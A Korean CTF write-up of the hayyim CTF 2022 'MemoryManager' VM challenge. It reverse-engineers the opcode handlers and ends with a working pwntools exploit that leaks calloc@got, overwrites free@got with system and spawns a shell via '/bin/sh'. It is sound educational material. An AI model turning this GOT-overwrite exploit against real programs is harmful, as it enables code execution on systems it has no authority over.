본문 바로가기
CTF

(CTF) hayyim CTF 2022 writeup (MemoryManager)

by snwo 2022. 2. 17.

대회 끝나고 풀어본 문제다.

MemoryManager

opcode 입력받아서 실행시켜주는 vm 문제.

bss 영역에 있는 stack 변수는 0x4060D8 영역을 가리키고,

data 변수는 0x4060E0 영역을 가리키고있다.

입력 사이즈 제한은 0x1000 이다.

void __fastcall sub_401F46(__int64 a1)
{
  __int64 v1; // [rsp+1Fh] [rbp-31h]

  v1 = (unsigned __int8)get_opcode(a1);
  if ( (unsigned __int8)v1 <= 8u )
    __asm { jmp     rax }
  if ( (unsigned __int8)v1 <= 9u )
    __asm { jmp     rax }
  exit(-1);
}

sub_0x401f46 에서 switch 문 두 개를 볼 수 있다.

get_opcode 함수에서는 ptr+a1→ip 에서 opcode 하나를 가져오고, a1→ip를 증가시킨다.

a1 레지스터를 나타내고, 구조는 다음과 같다.

struct a1 {
    __int64 RAX;
    __int64 RBX;
    __int64 RCX;
    __int64 RDX;
    __int64 RSI;
    __int64 RDI;
    __int64 RBP;
    __int64 RSP;
    __int64 ???1;
    __int64 ???2;
    __int64 RIP;
}

첫 번째 switch

opcode == 1,2,8

ptr+IP에서 WORD 로 참조해 값 하나를 가져오고 IP 를 2 증가시킨다.

근데 리턴값에서 1바이트만 rbp-0xb 에 저장한다.

opcode == 0,3

위와 똑같이 값을 가져오고,

rbp-0xb, rbp-0xa 에 1바이트씩 저장한다.

opcode == 4,5,6,7

마찬가지로 값을 3번 가져와서

rbp-0xb, rbp-0xa, rbp-0x9 에 1바이트씩 저장하고,

rbp-0xa 값을 인자로 sub_4015F5() 함수 호출한 뒤, 리턴값을 rbp-0x30 에 저장 (8byte)

이후 rbp-0x9 값을 인자로 sub_4015F5() 함수 호출하고, 리턴값을 rbp-0x28 에 저장 (8byte)

sub_4015F5

인자로 받은 값에 따라 분기한다.

0xF0 과 and 연산한 값에 따라 분기한다.

 

0x10 :

rsp!=rbp 이면 stack+rsp 에서 8바이트 가져와 리턴값으로 설정하고 rsp 8 증가.

→ 사실상 스택에서 oob read 하는건 불가능해보임

 

0x20 :

하위 4비트에 따라 ptr 에서 1,2,4,8 바이트를 가져와 v7 에 저장한다.

그리고 ptr 에서 1바이트 가져와 v5 에 저장한 뒤,

data+v7 에서 v5 에 따라 1,2,4,8 바이트 만큼 가져와 리턴.

→ 이 때 v7 이 signed 이므로, 0x4060E0 에서 calloc@got 의 주소 (0x405040) 까지 거리만큼 빼서 callog@got 주소를 리턴할 수 있다.

 

0x30 :

하위 4비트가 5 이하일 때,

*(&a1->rax+(a2&0xF)) 값을 리턴. ( 원하는 레지스터 값 )

0x40 :

하위 4비트에 따라 ptr 에서 1,2,4,8 바이트 만큼 가져와 리턴한다.


두 번째 switch

opcode == 0

sub_4013EB((struct_a1*)a1, [rbp-0xb], sub_4015F5((struct_a1)*a1,[rbp-0xa]))

sub_4013EB

마찬가지로 두 번째 인자와 0xF0 을 and 연산 한 값으로 분기

 

0x10 :

rsp 가 7 이하가 아니라면, rsp 를 8 감소시킨 후

stack+rsp 가 가리키는 곳에 a3 값 저장 (sub_4015F5 의 리턴값)

→ stack 범위 검사해서 oob 불가능할 듯.

 

0x20 :

하위 4비트에 따라 ptr 에서 1,2,4,8 바이트 가져와 v7 에 저장.

v7 은 unsigned __int64 자료형으로, 0x1000-8 보다 크면 exit

ptr 에서 1바이트 가져와 v6 에 저장하고,

data+v7 에서 v5 에 따라 1,2,4,8 바이트 만큼 가져와 리턴.

unsigned 로 범위검사해서 oob 불가능할 듯.

 

0x30 :

하위 4비트가 5 이하면,

*(&a1->rax+(a2&0xF)) = a3

원하는 레지스터 값을 a3 으로 덮을 수 있다. (rbp, rsp, rip 제외)

opcode == 3

4050AC 는 초기값이 -1 인 변수인데,

sub_4015F5() 함수를 분석할 떄 생략했는데,

a2 == 0x20 일 때 4050AC 가 0이 아니라면,

qword_4050D0[dword_4050AC] = v7;
qword_4050C0[dword_4050AC] = v5;

위 두 코드가 실행된다.

v7 은 data 에 더하는 변수였고, v5 는 몇바이트 가져올지 결정하는 1바이트였다.

다시 돌아와서 설명을 계속해보면,

4050AC = 0
[rbp-0x30] = sub_4015F5((struct_a1*)a1, [rbp-0xb])
4050AC = 1
[rbp-0x28] = sub_4015F5((struct_a1*)a1, [rbp-0xa])
sub_401909((struct_a1*)a1, [rbp-0xb], [rbp-0xa], [rbp-0x30], [rbp-0x28])

위와 같은 flow 로 진행이 된다.

sub_401909

v8[0] = [rbp-0xb]
v8[1] = [rbp-0xa]
v9[0] = [rbp-0x30]
v9[1] = [rbp-0x28]

이렇게 값을 넣고, 반복문이 i=0 부터 i=1 까지 두 번 실행된다.

v8[i]&0xf0 에 따라 switch-case 문이 실행된다.

 

0x10 :

rsp 가 8 이하면 종료, 아니면 8 감소시킨 뒤, stack+rsp 에 v9[i^1] 저장.

 

0x20 :

v7 에 qword_4050D0[i] 저장.

v8[i^1] &0xF0 == 0x20 이면, qword_4050C0[i^1] 의 하위 4바이트에 따라

data+v7 이 가리키는 주소에 v9[i^1] 을 1,2,4,8 바이트 만큼 저장.

0x20 이 아니면 8바이트만큼 저장.

 

0x30 :

v8[i] 가 5 이하라면,

원하는 레지스터 값에 v9[i^1] 저장.

opcode == 4,5,6,7

저장된 두 변수를 사칙연산으로 처리한 다음 sub_4013EB() 함수 호출.

5는 [rbp-0x30] 에서 [rbp-0x28] 을 뺀 뒤 sub_4013EB 함수를 호출하는데,

calloc 을 rax 에 저장하고, 빼서 system 함수 주소로 만들 떄 사용할거다.

opcode == 8

rbp-0xb 를 인자로 sub_401C16() 함수 호출

두 번째 인자와 0xF0 을 and 연산 한 값으로 분기

 

0x10 :

rsp, rbp, stack+rsp 값 출력 (8byte)

 

0x20 :

1,2,3,4 번째 비트가 설정되면 각각

ptr 에서 1,2,4,8 바이트를 가져와서 data+리턴값 을 1,2,48 바이트 출력해준다.

(ip 도 1,2,4,8 증가)

 

0x30 :

모든 레지스터 값을 출력해줌.


exploit

  1. opcode 0 → calloc@got 주소를 rax 에 저장
  2. opcode 5 → calloc 주소에서 system 함수 까지 거리를 빼서 rax 에 저장.
  3. opcode 3 → overwrite free@got → system
  4. opcode 9 → 리턴. main 함수에서 free 하는데, 이름을 /bin/sh 로 설정해 놨으면 system("/bin/sh") 가 실행되어 쉘이 따인다.

3번에 대해서 조금 더 설명을 하자면,

switch( v8[i]&0xf0 )
~~~
case 0x20:
        v7 = qword_4050D0[i];
        if ( (v8[i ^ 1] & 0xF0) == 0x20 )
        {
          switch ( qword_4050C0[i ^ 1] )
          {
            case 1LL:
              *(_BYTE *)(data + v7) = v9[i ^ 1];
              break;
            case 2LL:
              *(_WORD *)(data + v7) = v9[i ^ 1];
              break;
            case 4LL:
              *(_DWORD *)(data + v7) = v9[i ^ 1];
              break;
            case 8LL:
              *(_QWORD *)(v7 + data) = v9[i ^ 1];
              break;
          }
        }
                else
        {
          *(_QWORD *)(v7 + data) = v9[i ^ 1];
        }

sub_401909 에서 free@got 을 덮을 수 있는 부분이다.

"""
v8[0] = [rbp-0xb]
v8[1] = [rbp-0xa]
v9[0] = [rbp-0x30]
v9[1] = [rbp-0x28]
"""

v8[0]&0xF0 == 0x20
v8[1]&0xF0 == 0x20 && qword_4050C0[1] === 8
or v8[1] !=0x20
qword_4050D0[0] == "offset until free@got"
v9[1] == "system address"

위 조건대로 값을 채워넣어야 덮을 수 있다.

v8[0] 에 0x28 을 넣어서, qword_4050D0 에 free@got 까지 거리를 넣고

v8[1] 에 0x30 을 넣어 v9[1] 에 rax 에서 불러온 system 함수의 주소를 넣으면 된다.

다음 반복문이 실행됬을 땐,

v8[1] == 0x30 이므로 rax 에 v9[0] (free@got) 이 들어가는데, 별로 상관없당

페이로드로 구현하면 다음과 같다.

opcode+=p8(3)+p16(0x28)+p16(0x30)+p64(0xffffffffffffef38)+p8(0x8)

ex.py

from pwn import *

r=process("./MemoryManager")
context.log_level='debug'
b=ELF("./MemoryManager")
lib=b.libc
r.sendlineafter('> ', '/bin/sh\x00')
system_offset=3920496
opcode=p8(0)+p16(0x30)+p16(0x28)+p64(0xffffffffffffef60)+p8(0x8)
opcode+=p8(5)+p16(0x30)+p16(0x30)+p16(0x48)+p64(0x4ac20)
opcode+=p8(3)+p16(0x28)+p16(0x30)+p64(0xffffffffffffef38)+p8(0x8)
opcode+=p8(9)
# 4050d0[0] = offset of free@got
# 4050c0[0] = 0x8
# v8[0] = 0x28
# v8[1] = 0x30
# v9[0] = free@got
# v9[1] = system address

pause()
r.sendlineafter('> ', opcode)

r.interactive()